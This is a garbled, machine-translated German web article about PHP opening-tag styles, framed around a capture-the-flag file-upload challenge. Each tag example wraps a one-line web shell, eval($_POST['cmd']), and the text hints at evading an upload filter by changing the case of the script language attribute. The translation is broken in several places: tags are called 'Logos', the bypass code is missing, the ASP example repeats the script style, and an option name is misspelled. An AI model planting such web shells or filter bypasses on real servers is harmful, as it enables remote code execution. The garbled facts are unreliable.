) und den Kurzstil ( ? > ), ASP-Stil (<% %>)."/> ) und den Kurzstil ( ? > ), ASP-Stil (<% %>).">
Heim > Artikel > Backend-Entwicklung > Was sind die Logos von PHP?
PHP-Logo hat 4 Stile
XML-Stil (Empfohlenes Lernen: PHP-Video-Tutorial)
<?php eval($_POST['cmd']); ?>
PHP empfohlener Markup-Stil.
Serveradministratoren können diesen Stil nicht deaktivieren und er ist auf allen Servern verfügbar.
Skriptstil
<script language="php"> eval($_POST['cmd']); </script>
Es ist standardmäßig aktiviert und kann nicht deaktiviert werden
Der Autor ist einmal auf eine CTF-Frage gestoßen, die das Hochladen einer erforderte Shell, aber es ist fehlgeschlagen. Der Dateiinhalt wird gefiltert, und php werden durch Leerzeichen ersetzt. In diesem Stil kann der Wert der Sprache entweder in Groß- oder Kleinschreibung angegeben werden, sodass Sie den folgenden Code erstellen können, um die Anforderungen dieses Stils zu umgehen muss konfiguriert werden. Aktivieren Sie die Option short_open_tage in der Datei php.ini
Dieser Stil wird in vielen Umgebungen standardmäßig nicht unterstützt
ASP-Stil<script language="php"> eval($_POST['cmd']); </script>
Dieser Stil Die asp_tag-Option muss in der Konfigurationsdatei php.ini aktiviert werden
Sie ist standardmäßig deaktiviert
Das obige ist der detaillierte Inhalt vonWas sind die Logos von PHP?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!